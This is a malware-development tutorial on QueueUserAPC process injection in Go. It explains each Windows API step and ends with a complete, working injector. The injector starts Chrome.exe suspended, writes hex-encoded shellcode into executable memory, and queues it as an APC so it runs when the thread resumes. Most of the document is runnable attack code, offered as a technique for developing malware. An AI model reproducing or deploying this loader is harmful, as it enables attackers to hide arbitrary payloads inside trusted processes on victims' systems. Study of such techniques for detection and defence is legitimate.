3. QueueUserAPC

#processinjection #queueUserAPC #golang #maldev #malwaredevelopment

This technique is a combination of the two previous techniques. Unlike process hollowing it will not overwrite the contents of the main thread but allocate a new memory region. The main difference is that QueueUserAPC will be used to execute our shellcode when the main thread is resumed.

The benefit is that we won't be calling the CreateRemoteThread API.

The Windows APIs required to perform this technique are the following:

Create suspended process

Starting a process can be achieved by calling the CreateProcess API.

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

The most important parameter is the dwCreationFlags should be set to CREATE_SUSPENDED (0x04)

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

Allocating memory on remote process

VirtuallAllocEx will be used for allocating memory for our shellcode in the remote memory.

LPVOID VirtualAllocEx(
  [in]           HANDLE hProcess,
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);
  • hProcess: Process Handle returned by the CreateProcess API

  • lpAddress: We will let the API decide where to allocate the memory, therefore this value will be set to 0

  • dwSize: Will be the size of our shellcode

  • flAllocationType: We need to reserve and commit memory

  • flProtect: This can be done in a number of ways. To write and execute shellcode we will need rx permissions.

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(pHandle),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

Writing shellcode to remote process

WriteProcessMemory winapi will be used to write shellcode to the remote memory

BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);
  • hProcess: Process Handle returned by the CreateProcess API

  • lpBaseAddress: Value returned from VirtualAllocEx

  • lpBuffer: A pointer to the beginning of our shellcode byte array

  • nSize: Size of our shellcode

  • lpNumberOfBytesWritten: Ouputs the number of bytes written to the destination address

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, 
					uintptr(addr), 
					&sc[0], 
					uintptr(len(sc)), 
					&numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

Add a user-mode APC ( Asynchronous Procedure Call)

DWORD QueueUserAPC(
  [in] PAPCFUNC  pfnAPC,
  [in] HANDLE    hThread,
  [in] ULONG_PTR dwData
);

pfnAPC: This will be the address returned by VirtualAllocEx

hThread: Returned by the createprocess API

dwData: Set to 0

procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}

Resume Execution

To resume execution we only have to resume the suspended thread. The ResumeThread API will be used to achieve that.

DWORD ResumeThread(
  [in] HANDLE hThread
);

We simply pass the handle returned by the CreateProcess API.

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}

Complete Code

package main

import (
	"encoding/hex"
	"fmt"
	"log"
	"syscall"

	"golang.org/x/sys/windows"
)

type PROCESS_BASIC_INFORMATION struct {
	Reserved1    uintptr
	PebAddress   uintptr
	Reserved2    uintptr
	Reserved3    uintptr
	UniquePid    uintptr
	MoreReserved uintptr
}

func main() {
	sc, _ := hex.DecodeString("fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d48ba0100000000000000488d8d0101000041ba318b6f87ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd563616c6300")

	var startupInfo windows.StartupInfo
	var outProcInfo windows.ProcessInformation

	path := "C:\\Program Files\\Google\\Chrome\\Application\\Chrome.exe"

	err := windows.CreateProcess(nil,
		windows.StringToUTF16Ptr(path),
		nil,
		nil,
		false,
		windows.CREATE_SUSPENDED,
		nil,
		nil,
		&startupInfo,
		&outProcInfo)

	if err != nil {
		log.Fatalf("[FATAL] Failed to Create Process: %v", err)
	}

	fmt.Printf("[+] Process Created from path: %s with PID: %d\n", path, outProcInfo.ProcessId)
	fmt.Printf("[+] Process Handle: %x \n[+] Thread Handle: %x\n", outProcInfo.Process, outProcInfo.Thread)

	modKernel32 := syscall.NewLazyDLL("kernel32.dll")
	procVirtualAllocEx := modKernel32.NewProc("VirtualAllocEx")

	addr, _, lastErr := procVirtualAllocEx.Call(
		uintptr(outProcInfo.Process),
		uintptr(0),
		uintptr(len(sc)),
		uintptr(windows.MEM_COMMIT|windows.MEM_RESERVE),
		uintptr(windows.PAGE_EXECUTE_READ))

	if addr == 0 {
		log.Fatalf("[FATAL] VirtualAlloc Failed: %v\n", lastErr)
	}

	fmt.Printf("[+] Allocated Memory Address: 0x%x\n", addr)

	var numberOfBytesWritten uintptr
	err = windows.WriteProcessMemory(outProcInfo.Process, uintptr(addr), &sc[0], uintptr(len(sc)), &numberOfBytesWritten)
	if err != nil {
		log.Fatalf("[FATAL] Failed to WriteProcessMemory: %v", err)
	}

	fmt.Printf("[+] Wrote %d/%d shellcode bytes to destination address\n", numberOfBytesWritten, len(sc))

	procQueueUserAPC := modKernel32.NewProc("QueueUserAPC")
	success1, _, lastErr := procQueueUserAPC.Call(addr, uintptr(outProcInfo.Thread), 0)
	if success1 == 0 {
		log.Fatalf("[FATAL] QueueUserAPC failed. %v\n", lastErr)
	}
	

	_, err = windows.ResumeThread(windows.Handle(outProcInfo.Thread))
	if err != nil {
		log.Fatalf("[FATAL] Can't resume thread. %v\n", err)
	}
	fmt.Println("[+] Resuming Suspended Thread")

}

Last updated